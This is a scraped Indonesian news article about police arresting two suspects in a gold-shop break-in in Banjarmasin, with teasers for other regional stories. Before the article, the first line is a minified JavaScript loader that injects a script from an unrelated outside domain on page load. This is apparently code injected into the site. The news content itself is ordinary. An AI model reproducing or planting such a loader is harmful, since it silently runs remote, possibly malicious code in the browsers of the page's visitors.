(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Tiga hari setelah kejadian pembobolan toko emas Ratna di jalan Sudimampir No 66D, Kecamatan Banjarmasin Tengah, Kota Banjarmasin, akhirnya polisi berhasil mengungkap para pelaku.
Aksi bobol toko emas itu dilakukan dua orang yakni RA alias Angking dan RH alias Atung. Kedua pelaku dibekuk tim gabungan Polda Kalsel dan Polresta Banjarmasin, Kamis (18/5/2023) pukul 04.00 Wita.
“Ditangkap di simpang tiga Nusa Indah, Kecamatan Batibati, Kabupaten Tanah Laut,” tulis akun media Resmob Polda Kalsel, Kamis (18/5/2023) malam.
Terlihat dari video penangkapan dan foto yang diunggah polisi kedua pelaku posisi tangan terikat dan kaki berdarah akibat kena tembak polisi.
Baca juga: Paman Birin Sampaikan Duka Mendalam, Ini Karier Politisi Hasanuddin Murad
Dijelaskan dalam tayangan video saat penangkapan, kedua pelaku sempat melakukan perlawanan, hingga petugas harus melakukan tindakan terukur dengan melumpuhkan pelaku.
“Saat para pelaku dilumpuhkan mereka mengakui telah melakukan tindakan membongkar toko emas,” dari keterangan akun Resmob Polda Kalsel.
Kedua pelaku mengaku setelah melakukan pencurian, mereka menyembunyikan emas curian tersebut di jalan Belitung Darat, Gang Simpang Pilot, Banjarmasin, dengan cara dikubur dalam tanah di bawah salah satu rumah.
“Barang bukti anting emas 1 pasang, gelang 37 buah, kalung emas 25 buah,” ungkap polisi.
Kedua pelaku Angking dan Atung diamankan ke markas Polresta Banjarmasin untuk proses hukum lebih lanjut.
Sebelumnya, pada Selasa (16/5/2023) lalu toko perhiasana emas Ratna di jalan Sudimampir, Kota Banjarmasin dikabarkan dibobol maling.
Baca juga: Pelaku Pengroyokan di Kuin Selatan Dibekuk Polisi
Pemilik baru mengetahui pembobolan saat hendak membuka toko pada pagi hari sekitar pukul 09.00 Wita, dan langsung melaporkan ke Polsek terdekat.
Sementara itu, diperkirakan pelaku masuk lewat atas toko dengan merusak sekat belakang toko menggunakan alat khusus hingga berhasil masuk ke toko emas Ratna.
“Perhiasan emas yang hilang diperkirakan kurang lebih 2.000 gram. Kerugian berkisar Rp 2 miliar,” kata Resmob Kalsel.
Atas perbuatan tersebut, kedua pelaku dijerat dengan Pasal 363 KUHP tentang tindak pidana pencurian dengan pemberatan dengan ancaman hukuman paling lama 7 tahun penjara. (Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.